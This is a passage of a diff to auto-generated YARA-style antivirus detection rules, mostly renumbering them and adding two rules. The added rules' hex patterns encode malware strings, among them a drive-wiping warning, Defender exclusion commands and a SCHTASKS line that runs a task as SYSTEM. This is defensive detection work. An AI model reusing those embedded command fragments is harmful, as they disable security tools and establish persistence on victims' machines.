1)*1+(#a_03_4 & 1)*1) >=2 } -rule _InfrastructureShared_19056{ +rule _InfrastructureShared_20247{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 05 00 21 " @@ -233752,7 +248480,7 @@ rule _InfrastructureShared_19056{ ((#a_46_0 & 1)*16675+(#a_00_2 & 1)*103+(#a_00_4 & 1)*32) >=2 } -rule _InfrastructureShared_19057{ +rule _InfrastructureShared_20248{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,05 00 05 00 09 00 21 " @@ -233768,7 +248496,7 @@ rule _InfrastructureShared_19057{ ((#a_46_0 & 1)*16675+(#a_62_1 & 1)*27231+(#a_66_2 & 1)*6400+(#a_6d_3 & 1)*28520+(#a_00_5 & 1)*120+(#a_52_6 & 1)*24935+(#a_00_8 & 1)*83) >=5 } -rule _InfrastructureShared_19058{ +rule _InfrastructureShared_20249{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,07 00 07 00 07 00 21 " @@ -233781,7 +248509,7 @@ rule _InfrastructureShared_19058{ ((#a_54_0 & 1)*18467+(#a_00_1 & 1)*113+(#a_00_3 & 1)*80+(#a_00_5 & 1)*49) >=7 } -rule _InfrastructureShared_19059{ +rule _InfrastructureShared_20250{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,0c 00 0c 00 08 00 21 " @@ -233796,7 +248524,7 @@ rule _InfrastructureShared_19059{ ((#a_54_0 & 1)*18467+(#a_00_1 & 1)*46+(#a_00_3 & 1)*54+(#a_00_4 & 1)*49+(#a_00_5 & 1)*110+(#a_01_6 & 1)*28265) >=12 } -rule _InfrastructureShared_19060{ +rule _InfrastructureShared_20251{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,13 00 13 00 13 00 21 " @@ -233822,7 +248550,7 @@ rule _InfrastructureShared_19060{ ((#a_54_0 & 1)*18467+(#a_47_1 & 1)*2048+(#a_65_2 & 1)*26960+(#a_61_3 & 1)*29810+(#a_38_4 & 1)*14386+(#a_00_5 & 1)*36+(#a_89_6 & 1)*-15997+(#a_55_7 & 1)*257+(#a_1b_8 & 1)*19851+(#a_06_9 & 1)*-28595+(#a_18_10 & 1)*2331+(#a_69_11 & 1)*29797+(#a_42_12 & 1)*24427+(#a_00_14 & 1)*50+(#a_01_15 & 1)*4+(#a_01_16 & 1)*4+(#a_9c_17 & 1)*0) >=19 } -rule _InfrastructureShared_19061{ +rule _InfrastructureShared_20252{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,14 00 0a 00 03 00 21 " @@ -233833,7 +248561,7 @@ rule _InfrastructureShared_19061{ ((#a_46_0 & 1)*16675+(#a_80_1 & 1)*27) >=10 } -rule _InfrastructureShared_19062{ +rule _InfrastructureShared_20253{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,18 00 18 00 0e 00 21 " @@ -233854,7 +248582,7 @@ rule _InfrastructureShared_19062{ ((#a_46_0 & 1)*16675+(#a_54_1 & 1)*29810+(#a_6f_2 & 1)*31312+(#a_6e_3 & 1)*28484+(#a_00_4 & 1)*104+(#a_00_6 & 1)*111+(#a_00_7 & 1)*69+(#a_02_8 & 1)*-28550+(#a_2d_9 & 1)*23085+(#a_00_11 & 1)*32+(#a_74_12 & 1)*21087+(#a_72_13 & 1)*12594) >=24 } -rule _InfrastructureShared_19063{ +rule _InfrastructureShared_20254{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 02 00 21 " @@ -233865,7 +248593,7 @@ rule _InfrastructureShared_19063{ ((#a_46_0 & 1)*16675+(#a_00_1 & 1)*75) >=1 } -rule _InfrastructureShared_19064{ +rule _InfrastructureShared_20255{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 06 00 21 " @@ -233879,7 +248607,7 @@ rule _InfrastructureShared_19064{ ((#a_46_0 & 1)*16675+(#a_54_1 & 1)*19560+(#a_21_3 & 1)*10496+(#a_21_4 & 1)*8556+(#a_34_5 & 1)*816) >=1 } -rule _InfrastructureShared_19065{ +rule _InfrastructureShared_20256{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 0f 00 21 " @@ -233899,7 +248627,7 @@ rule _InfrastructureShared_19065{ ((#a_54_0 & 1)*18467+(#a_02_1 & 1)*-3593+(#a_28_3 & 1)*17803+(#a_69_4 & 1)*8250+(#a_61_6 & 1)*4096+(#a_6c_7 & 1)*8250+(#a_01_9 & 1)*1+(#a_01_10 & 1)*1+(#a_01_11 & 1)*1+(#a_9c_12 & 1)*0+(#a_00_14 & 1)*105) >=1 } -rule _InfrastructureShared_19066{ +rule _InfrastructureShared_20257{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 0f 00 21 " @@ -233919,7 +248647,7 @@ rule _InfrastructureShared_19066{ ((#a_54_0 & 1)*18467+(#a_61_1 & 1)*4352+(#a_68_2 & 1)*8250+(#a_6c_3 & 1)*29472+(#a_00_5 & 1)*111+(#a_53_6 & 1)*14958+(#a_00_8 & 1)*85+(#a_00_10 & 1)*107+(#a_00_11 & 1)*109+(#a_00_13 & 1)*101+(#a_26_14 & 1)*9533) >=2 } -rule _InfrastructureShared_19067{ +rule _InfrastructureShared_20258{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,03 00 03 00 07 00 21 " @@ -233934,7 +248662,7 @@ rule _InfrastructureShared_19067{ ((#a_46_0 & 1)*16675+(#a_00_1 & 1)*67+(#a_00_3 & 1)*44+(#a_00_4 & 1)*101+(#a_00_5 & 1)*108+(#a_26_6 & 1)*9533) >=3 } -rule _InfrastructureShared_19068{ +rule _InfrastructureShared_20259{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,07 00 07 00 0a 00 21 " @@ -233953,7 +248681,7 @@ rule _InfrastructureShared_19068{ ((#a_77_0 & 1)*16675+(#a_5f_1 & 1)*29537+(#a_69_2 & 1)*29477+(#a_70_3 & 1)*24878+(#a_02_4 & 1)*25976+(#a_69_5 & 1)*21852+(#a_72_6 & 1)*29810+(#a_72_7 & 1)*26213+(#a_01_8 & 1)*2048+(#a_38_9 & 1)*14179) >=7 } -rule _InfrastructureShared_19069{ +rule _InfrastructureShared_20260{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,09 00 09 00 09 00 21 " @@ -233970,7 +248698,7 @@ rule _InfrastructureShared_19069{ ((#a_54_0 & 1)*18467+(#a_73_1 & 1)*26990+(#a_6f_2 & 1)*9587+(#a_2e_3 & 1)*25966+(#a_72_4 & 1)*14930+(#a_72_5 & 1)*11832+(#a_37_6 & 1)*385+(#a_2e_7 & 1)*14130) >=9 } -rule _InfrastructureShared_19070{ +rule _InfrastructureShared_20261{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,0c 00 0c 00 0c 00 21 " @@ -233990,7 +248718,7 @@ rule _InfrastructureShared_19070{ ((#a_54_0 & 1)*18467+(#a_37_1 & 1)*385+(#a_65_2 & 1)*29301+(#a_37_3 & 1)*12598+(#a_38_4 & 1)*14648+(#a_4c_5 & 1)*8993+(#a_00_7 & 1)*73+(#a_00_8 & 1)*97+(#a_2c_9 & 1)*125+(#a_42_10 & 1)*2133+(#a_03_11 & 1)*-28657) >=12 } -rule _InfrastructureShared_19071{ +rule _InfrastructureShared_20262{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 05 00 21 " @@ -234003,7 +248731,7 @@ rule _InfrastructureShared_19071{ ((#a_46_0 & 1)*16675+(#a_00_2 & 1)*105+(#a_00_3 & 1)*97+(#a_2d_4 & 1)*2305) >=1 } -rule _InfrastructureShared_19072{ +rule _InfrastructureShared_20263{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,03 00 03 00 09 00 21 " @@ -234019,7 +248747,7 @@ rule _InfrastructureShared_19072{ ((#a_4c_0 & 1)*21539+(#a_03_1 & 1)*-11671+(#a_00_2 & 1)*12064+(#a_6c_3 & 1)*10544+(#a_3a_4 & 1)*24938+(#a_91_5 & 1)*4356+(#a_11_7 & 1)*4957) >=3 } -rule _InfrastructureShared_19073{ +rule _InfrastructureShared_20264{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,04 00 04 00 04 00 21 " @@ -234032,7 +248760,19 @@ rule _InfrastructureShared_19073{ ((#a_54_0 & 1)*18467+(#a_07_1 & 1)*-11987+(#a_07_2 & 1)*2323+(#a_11_3 & 1)*4961) >=4 } -rule _InfrastructureShared_19074{ +rule _InfrastructureShared_20265{ + meta: + description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,04 00 04 00 06 00 21 " + + strings : + $a_46_0 = {44 6f 53 3a 57 69 6e 36 34 2f 44 72 61 67 6f 57 69 70 65 72 2e 48 21 64 68 61 00 01 00 7e 01 21 00 21 00 21 00 20 00 57 00 41 00 52 00 4e 00 49 00 4e 00 47 00 3a 00 20 00 54 00 68 00 69 00 73 00 20 00 77 00 69 00 6c 00 6c 00 20 } //16675 + $a_00_2 = {20 00 6d 00 65 00 74 00 61 00 64 00 61 00 74 00 61 00 20 00 6f 00 6e 00 20 00 61 00 6c 00 6c 00 20 00 70 00 68 00 79 00 73 00 69 00 63 00 61 00 6c 00 20 00 64 00 72 00 69 00 76 00 65 00 73 00 20 00 21 00 21 00 21 00 01 00 2e 01 5b 00 2b 00 5d 00 20 00 57 00 69 00 70 00 69 00 6e 00 67 00 20 00 6d 00 65 } //112 + $a_00_4 = {74 00 61 00 20 00 6f 00 6e 00 20 00 01 00 22 01 5d 00 20 00 4d 00 65 00 74 00 61 00 64 00 61 00 74 00 61 00 20 00 77 00 69 00 70 00 65 00 64 00 20 00 01 00 36 01 5b 00 21 00 5d 00 20 00 53 00 6f 00 6d 00 65 00 20 00 72 00 65 00 67 00 69 00 6f 00 6e 00 73 00 20 00 66 00 61 00 69 00 6c 00 65 } //100 + condition: + ((#a_46_0 & 1)*16675+(#a_00_2 & 1)*112+(#a_00_4 & 1)*100) >=4 + +} +rule _InfrastructureShared_20266{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,05 00 05 00 08 00 21 " @@ -234048,7 +248788,7 @@ rule _InfrastructureShared_19074{ ((#a_46_0 & 1)*16675+(#a_73_2 & 1)*12033+(#a_4c_3 & 1)*20047+(#a_61_4 & 1)*26222+(#a_74_5 & 1)*28206+(#a_41_6 & 1)*8448+(#a_3f_7 & 1)*276) >=5 } -rule _InfrastructureShared_19075{ +rule _InfrastructureShared_20267{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,0d 00 0d 00 0d 00 21 " @@ -234070,7 +248810,7 @@ rule _InfrastructureShared_19075{ ((#a_46_0 & 1)*16675+(#a_01_1 & 1)*16499+(#a_56_2 & 1)*16174+(#a_70_3 & 1)*25464+(#a_72_4 & 1)*22081+(#a_21_5 & 1)*12849+(#a_75_6 & 1)*29788+(#a_72_7 & 1)*25436+(#a_6c_8 & 1)*11883+(#a_00_9 & 1)*15+(#a_2e_10 & 1)*28515+(#a_74_11 & 1)*29779+(#a_52_12 & 1)*31092) >=13 } -rule _InfrastructureShared_19076{ +rule _InfrastructureShared_20268{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,0d 00 0d 00 0d 00 21 " @@ -234090,7 +248830,7 @@ rule _InfrastructureShared_19076{ ((#a_54_0 & 1)*18467+(#a_6e_1 & 1)*27996+(#a_77_2 & 1)*26223+(#a_65_4 & 1)*18177+(#a_21_5 & 1)*17746+(#a_53_6 & 1)*29286+(#a_72_7 & 1)*28265+(#a_00_8 & 1)*111+(#a_43_10 & 1)*1792+(#a_00_11 & 1)*29793+(#a_72_12 & 1)*28532) >=13 } -rule _InfrastructureShared_19077{ +rule _InfrastructureShared_20269{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,0f 00 0f 00 0f 00 21 " @@ -234114,7 +248854,7 @@ rule _InfrastructureShared_19077{ ((#a_54_0 & 1)*18467+(#a_01_1 & 1)*1+(#a_01_2 & 1)*1+(#a_01_3 & 1)*1+(#a_01_4 & 1)*1+(#a_01_5 & 1)*1+(#a_00_6 & 1)*1+(#a_01_7 & 1)*1+(#a_01_8 & 1)*1+(#a_01_9 & 1)*1+(#a_01_10 & 1)*1+(#a_01_11 & 1)*1+(#a_01_12 & 1)*1+(#a_01_13 & 1)*1+(#a_9d_14 & 1)*0) >=15 } -rule _InfrastructureShared_19078{ +rule _InfrastructureShared_20270{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,10 00 10 00 10 00 21 " @@ -234139,7 +248879,7 @@ rule _InfrastructureShared_19078{ ((#a_54_0 & 1)*18467+(#a_70_1 & 1)*29251+(#a_6f_2 & 1)*21100+(#a_65_3 & 1)*29301+(#a_69_4 & 1)*26991+(#a_63_5 & 1)*29264+(#a_68_6 & 1)*385+(#a_00_7 & 1)*28271+(#a_6f_8 & 1)*385+(#a_68_9 & 1)*30789+(#a_01_10 & 1)*12288+(#a_81_11 & 1)*1+(#a_81_12 & 1)*1+(#a_9e_13 & 1)*0+(#a_74_14 & 1)*16238+(#a_73_15 & 1)*24436) >=16 } -rule _InfrastructureShared_19079{ +rule _InfrastructureShared_20271{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,11 00 11 00 11 00 21 " @@ -234163,7 +248903,7 @@ rule _InfrastructureShared_19079{ ((#a_6f_0 & 1)*21539+(#a_6d_1 & 1)*28518+(#a_50_2 & 1)*25972+(#a_72_3 & 1)*30580+(#a_72_4 & 1)*21364+(#a_2e_5 & 1)*25956+(#a_01_6 & 1)*18688+(#a_75_7 & 1)*26478+(#a_00_9 & 1)*105+(#a_10_10 & 1)*15716+(#a_00_11 & 1)*9+(#a_4d_12 & 1)*-4981+(#a_00_14 & 1)*110+(#a_00_15 & 1)*47+(#a_00_16 & 1)*116) >=17 } -rule _InfrastructureShared_19080{ +rule _InfrastructureShared_20272{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,15 00 15 00 07 00 21 " @@ -234178,7 +248918,7 @@ rule _InfrastructureShared_19080{ ((#a_46_0 & 1)*16675+(#a_2e_1 & 1)*28530+(#a_6c_2 & 1)*21038+(#a_53_3 & 1)*25961+(#a_43_4 & 1)*28261+(#a_00_6 & 1)*105) >=21 } -rule _InfrastructureShared_19081{ +rule _InfrastructureShared_20273{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 08 00 21 " @@ -234195,7 +248935,7 @@ rule _InfrastructureShared_19081{ ((#a_54_0 & 1)*18467+(#a_00_1 & 1)*111+(#a_65_2 & 1)*29810+(#a_72_3 & 1)*2562+(#a_65_4 & 1)*26982+(#a_55_5 & 1)*15104+(#a_8b_6 & 1)*13072+(#a_00_7 & 1)*105) >=2 } -rule _InfrastructureShared_19082{ +rule _InfrastructureShared_20274{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,03 00 03 00 04 00 21 " @@ -234208,7 +248948,7 @@ rule _InfrastructureShared_19082{ ((#a_46_0 & 1)*16675+(#a_03_1 & 1)*10500+(#a_0c_2 & 1)*-31988+(#a_00_3 & 1)*111) >=3 } -rule _InfrastructureShared_19083{ +rule _InfrastructureShared_20275{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,03 00 03 00 07 00 21 " @@ -234223,7 +248963,7 @@ rule _InfrastructureShared_19083{ ((#a_46_0 & 1)*16675+(#a_00_1 & 1)*100+(#a_00_2 & 1)*31277+(#a_03_3 & 1)*1+(#a_03_4 & 1)*1+(#a_9e_5 & 1)*0) >=3 } -rule _InfrastructureShared_19084{ +rule _InfrastructureShared_20276{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,05 00 05 00 05 00 21 " @@ -234236,7 +248976,7 @@ rule _InfrastructureShared_19084{ ((#a_54_0 & 1)*18467+(#a_00_2 & 1)*98+(#a_00_3 & 1)*48+(#a_00_4 & 1)*53) >=5 } -rule _InfrastructureShared_19085{ +rule _InfrastructureShared_20277{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,05 00 05 00 09 00 21 " @@ -234253,7 +248993,7 @@ rule _InfrastructureShared_19085{ ((#a_54_0 & 1)*18467+(#a_89_2 & 1)*1163+(#a_83_3 & 1)*-9941+(#a_18_4 & 1)*0+(#a_00_5 & 1)*92+(#a_43_6 & 1)*5888+(#a_63_7 & 1)*21294+(#a_73_8 & 1)*29230) >=5 } -rule _InfrastructureShared_19086{ +rule _InfrastructureShared_20278{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,0b 00 0b 00 0b 00 21 " @@ -234273,7 +249013,7 @@ rule _InfrastructureShared_19086{ ((#a_54_0 & 1)*18467+(#a_00_1 & 1)*116+(#a_73_2 & 1)*25458+(#a_01_3 & 1)*1+(#a_01_4 & 1)*1+(#a_01_5 & 1)*1+(#a_01_6 & 1)*1+(#a_9e_7 & 1)*0+(#a_68_8 & 1)*25954+(#a_66_9 & 1)*21249+(#a_72_10 & 1)*28718) >=11 } -rule _InfrastructureShared_19087{ +rule _InfrastructureShared_20279{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,0c 00 0c 00 0c 00 21 " @@ -234294,7 +249034,7 @@ rule _InfrastructureShared_19087{ ((#a_54_0 & 1)*18467+(#a_81_1 & 1)*1+(#a_81_2 & 1)*1+(#a_81_3 & 1)*1+(#a_81_4 & 1)*1+(#a_81_5 & 1)*1+(#a_81_6 & 1)*1+(#a_81_7 & 1)*1+(#a_81_8 & 1)*1+(#a_81_9 & 1)*1+(#a_81_10 & 1)*1+(#a_81_11 & 1)*1) >=12 } -rule _InfrastructureShared_19088{ +rule _InfrastructureShared_20280{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,0f 00 0f 00 0b 00 21 " @@ -234314,7 +249054,7 @@ rule _InfrastructureShared_19088{ ((#a_46_0 & 1)*16675+(#a_74_1 & 1)*17517+(#a_6e_2 & 1)*28784+(#a_61_3 & 1)*257+(#a_74_4 & 1)*27760+(#a_73_5 & 1)*29230+(#a_72_6 & 1)*270+(#a_6c_7 & 1)*30065+(#a_69_8 & 1)*25697+(#a_15_9 & 1)*277+(#a_02_10 & 1)*-28667) >=15 } -rule _InfrastructureShared_19089{ +rule _InfrastructureShared_20281{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,13 00 13 00 13 00 21 " @@ -234341,7 +249081,7 @@ rule _InfrastructureShared_19089{ ((#a_54_0 & 1)*18467+(#a_63_1 & 1)*30063+(#a_41_2 & 1)*2304+(#a_61_3 & 1)*28484+(#a_73_4 & 1)*28521+(#a_55_6 & 1)*5492+(#a_06_7 & 1)*14340+(#a_10_8 & 1)*-28671+(#a_00_9 & 1)*400+(#a_90_10 & 1)*-9984+(#a_0f_11 & 1)*400+(#a_00_12 & 1)*67+(#a_6c_13 & 1)*28500+(#a_1d_14 & 1)*31166+(#a_01_15 & 1)*17863+(#a_00_16 & 1)*-835+(#a_00_17 & 1)*108+(#a_70_18 & 1)*29283) >=19 } -rule _InfrastructureShared_19090{ +rule _InfrastructureShared_20282{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 0d 00 21 " @@ -234363,7 +249103,7 @@ rule _InfrastructureShared_19090{ ((#a_54_0 & 1)*18467+(#a_90_1 & 1)*-3312+(#a_05_2 & 1)*3846+(#a_02_3 & 1)*67+(#a_31_4 & 1)*8526+(#a_03_5 & 1)*1+(#a_03_6 & 1)*1+(#a_03_7 & 1)*1+(#a_03_8 & 1)*1+(#a_03_9 & 1)*1+(#a_03_10 & 1)*1+(#a_03_11 & 1)*1+(#a_03_12 & 1)*1) >=1 } -rule _InfrastructureShared_19091{ +rule _InfrastructureShared_20283{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 10 00 21 " @@ -234384,7 +249124,7 @@ rule _InfrastructureShared_19091{ ((#a_54_0 & 1)*18467+(#a_04_1 & 1)*-25449+(#a_7c_2 & 1)*257+(#a_01_4 & 1)*17863+(#a_6c_5 & 1)*14934+(#a_5c_6 & 1)*25959+(#a_61_7 & 1)*281+(#a_19_8 & 1)*1+(#a_70_9 & 1)*17243+(#a_00_11 & 1)*118+(#a_00_13 & 1)*45+(#a_00_15 & 1)*55) >=1 } -rule _InfrastructureShared_19092{ +rule _InfrastructureShared_20284{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,03 00 03 00 08 00 21 " @@ -234400,7 +249140,7 @@ rule _InfrastructureShared_19092{ ((#a_46_0 & 1)*16675+(#a_72_1 & 1)*26479+(#a_65_2 & 1)*29281+(#a_68_3 & 1)*26739+(#a_39_4 & 1)*12378+(#a_2f_5 & 1)*13166+(#a_00_7 & 1)*110) >=3 } -rule _InfrastructureShared_19093{ +rule _InfrastructureShared_20285{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,04 00 04 00 07 00 21 " @@ -234413,7 +249153,25 @@ rule _InfrastructureShared_19093{ ((#a_46_0 & 1)*16675+(#a_00_2 & 1)*116+(#a_00_4 & 1)*52+(#a_00_6 & 1)*52) >=4 } -rule _InfrastructureShared_19094{ +rule _InfrastructureShared_20286{ + meta: + description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,04 00 04 00 0a 00 21 " + + strings : + $a_46_0 = {54 72 6f 6a 61 6e 3a 57 69 6e 36 34 2f 53 61 69 6e 62 6f 78 2e 42 00 01 00 21 03 76 73 73 65 72 76 2e 65 78 65 90 02 10 2e 65 78 65 90 02 10 2e 65 78 65 90 02 10 2e 65 78 65 90 00 01 00 11 01 47 65 74 44 61 74 61 00 43 3a 5c 55 } //16675 + $a_73_1 = {01 00 0f 01 5c 61 63 65 70 72 6f 63 74 65 64 2e 73 79 73 01 00 39 01 48 4b 4c 4d 5c 53 4f 46 54 57 41 52 45 5c 4d 69 63 72 6f 73 6f 66 74 5c 57 69 6e 64 6f 77 73 20 44 65 66 65 6e 64 65 72 5c 45 78 63 6c 75 73 69 6f 6e 73 5c 50 61 74 68 73 01 00 35 03 53 43 48 54 41 53 4b 53 20 2f 52 75 6e 20 2f 54 4e 20 90 02 10 20 26 20 53 43 48 54 41 53 } //25971 + $a_2f_2 = {65 6c 65 74 65 20 2f 54 4e 20 90 02 10 20 2f 46 90 00 01 00 49 03 53 43 48 54 41 53 4b 53 20 2f } //21323 + $a_61_3 = {65 20 2f 46 20 2f 54 4e 20 90 02 10 20 2f 53 43 20 4f 4e 43 45 20 2f 53 54 20 30 30 3a 30 30 20 2f 52 4c 20 48 49 47 48 45 53 54 20 2f 52 55 20 22 53 59 53 54 45 4d 22 90 00 01 00 1f 01 41 64 64 2d 4d 70 50 72 65 66 65 72 65 6e 63 65 20 2d 45 78 63 6c 75 73 69 6f 6e 50 61 74 68 01 00 1a 03 5c 5c 2e 5c } //29251 + $a_65_4 = {25 73 90 02 10 54 43 4c 53 65 72 76 69 63 65 90 00 01 00 0f 01 4d 75 73 69 63 5c 64 65 73 74 6f 70 62 61 6b 01 00 12 01 5c 50 75 62 6c 69 63 5c 4d 70 44 65 66 65 6e 64 65 72 00 00 78 9f 01 00 06 00 06 00 06 00 21 23 48 53 54 52 3a 54 72 6f 6a 61 6e 3a 4d 53 49 4c 2f 41 67 65 6e 74 54 65 73 6c 61 2e 53 4f 42 21 4d 54 42 00 01 00 51 03 } //26992 + $a_6e_5 = {02 70 72 72 0c 02 70 6f 90 01 01 00 00 0a 0b 02 7b 21 00 00 04 02 fe 06 16 00 00 06 73 3c 00 00 0a 6f 90 01 01 00 00 0a 00 02 7b 22 00 00 04 06 72 76 0c 02 70 6f 90 01 01 00 00 0a 74 49 00 00 01 6f 90 01 01 00 00 0a 00 02 90 00 01 00 4a 03 7b 22 00 00 04 72 ae 0c 02 70 6f 90 01 01 00 00 0a 00 72 da 0c 02 70 28 90 01 01 00 00 0a 72 10 0d 02 } //1803 + $a_14_7 = {8d 13 00 00 01 25 16 07 28 90 01 01 00 00 06 a2 6f 90 01 01 } //0 + $a_75_8 = {00 00 01 0c 90 00 01 00 3d 03 } //0 + $a_62_9 = {00 0a 0a 06 18 5b 8d 4d 00 00 01 0b 16 0c 2b 1a 00 07 08 18 5b 02 08 18 6f 90 01 01 00 00 0a 1f 10 28 90 01 01 00 00 0a 9c 00 08 18 58 0c 08 06 fe 04 0d 09 2d de 90 00 01 00 2d 81 01 5f 32 31 31 35 32 30 37 5f 44 69 6e 68 54 72 6f 6e 67 48 69 65 75 5f 4c 61 62 31 2e 66 72 6d 42 61 69 34 2e 72 65 73 6f 75 72 63 65 73 01 00 2c 81 01 } //512 + condition: + ((#a_46_0 & 1)*16675+(#a_73_1 & 1)*25971+(#a_2f_2 & 1)*21323+(#a_61_3 & 1)*29251+(#a_65_4 & 1)*26992+(#a_6e_5 & 1)*1803+(#a_14_7 & 1)*0+(#a_75_8 & 1)*0+(#a_62_9 & 1)*512) >=4 + +} +rule _InfrastructureShared_20287{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,06 00 06 00 06 00 21 " @@ -234427,7 +249185,7 @@ rule _InfrastructureShared_19094{ ((#a_54_0 & 1)*18467+(#a_76_2 & 1)*1540+(#a_5b_3 & 1)*1546+(#a_90_4 & 1)*4127+(#a_48_5 & 1)*28271) >=6 } -rule _InfrastructureShared_19095{ +rule _InfrastructureShared_20288{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,06 00 06 00 08 00 21 " @@ -234443,7 +249201,7 @@ rule _InfrastructureShared_19095{ ((#a_63_0 & 1)*16931+(#a_72_1 & 1)*21360+(#a_00_2 & 1)*69+(#a_00_4 & 1)*44+(#a_01_5 & 1)*30720+(#a_65_6 & 1)*29806+(#a_7a_7 & 1)*24841) >=6 } -rule _InfrastructureShared_19096{ +rule _InfrastructureShared_20289{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,0c 00 0c 00 0a 00 21 " @@ -234461,7 +249219,7 @@ rule _InfrastructureShared_19096{ ((#a_46_0 & 1)*16675+(#a_2d_1 & 1)*23085+(#a_61_2 & 1)*11585+(#a_01_3 & 1)*-28672+(#a_90_4 & 1)*24941+(#a_eb_5 & 1)*4096+(#a_42_7 & 1)*-31347+(#a_6e_8 & 1)*27247+(#a_65_9 & 1)*14438) >=12 } -rule _InfrastructureShared_19097{ +rule _InfrastructureShared_20290{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,0d 00 0d 00 0d 00 21 " @@ -234481,7 +249239,7 @@ rule _InfrastructureShared_19097{ ((#a_54_0 & 1)*18467+(#a_00_2 & 1)*76+(#a_72_3 & 1)*24932+(#a_74_4 & 1)*24898+(#a_73_5 & 1)*25458+(#a_45_6 & 1)*21072+(#a_73_7 & 1)*28521+(#a_50_8 & 1)*30316+(#a_57_9 & 1)*27745+(#a_6e_10 & 1)*28484+(#a_00_12 & 1)*105) >=13 } -rule _InfrastructureShared_19098{ +rule _InfrastructureShared_20291{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,12 00 12 00 12 00 21 " @@ -234504,7 +249262,7 @@ rule _InfrastructureShared_19098{ ((#a_54_0 & 1)*18467+(#a_72_1 & 1)*28501+(#a_65_3 & 1)*385+(#a_65_5 & 1)*385+(#a_2d_6 & 1)*14390+(#a_00_8 & 1)*36+(#a_00_10 & 1)*115+(#a_90_11 & 1)*-2+(#a_01_12 & 1)*29697+(#a_6e_13 & 1)*28483+(#a_52_14 & 1)*22098+(#a_52_15 & 1)*28257+(#a_6e_16 & 1)*29268+(#a_01_17 & 1)*-29351) >=18 } -rule _InfrastructureShared_19099{ +rule _InfrastructureShared_20292{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,29 00 24 00 04 00 21 " @@ -234517,7 +249275,7 @@ rule _InfrastructureShared_19099{ ((#a_46_0 & 1)*16675+(#a_00_1 & 1)*107+(#a_64_2 & 1)*11890+(#a_01_3 & 1)*-28555) >=36 } -rule _InfrastructureShared_19100{ +rule _InfrastructureShared_20293{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,64 00 64 00 0b 00 21 " @@ -234537,7 +249295,7 @@ rule _InfrastructureShared_19100{ ((#a_63_0 & 1)*16931+(#a_01_1 & 1)*1+(#a_01_2 & 1)*1+(#a_01_3 & 1)*1+(#a_01_4 & 1)*1+(#a_01_5 & 1)*1+(#a_01_6 & 1)*1+(#a_01_7 & 1)*1+(#a_01_8 & 1)*1+(#a_01_9 & 1)*1+(#a_00_10 & 1)*0) >=100 } -rule _InfrastructureShared_19101{ +rule _InfrastructureShared_20294{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 08 00 21 " @@ -234553,7 +249311,7 @@ rule _InfrastructureShared_19101{ ((#a_54_0 & 1)*18467+(#a_66_1 & 1)*-4365+(#a_d8_2 & 1)*18432+(#a_01_4 & 1)*-28437+(#a_58_5 & 1)*7364+(#a_8b_6 & 1)*-29948+(#a_62_7 & 1)*29285) >=1 } -rule 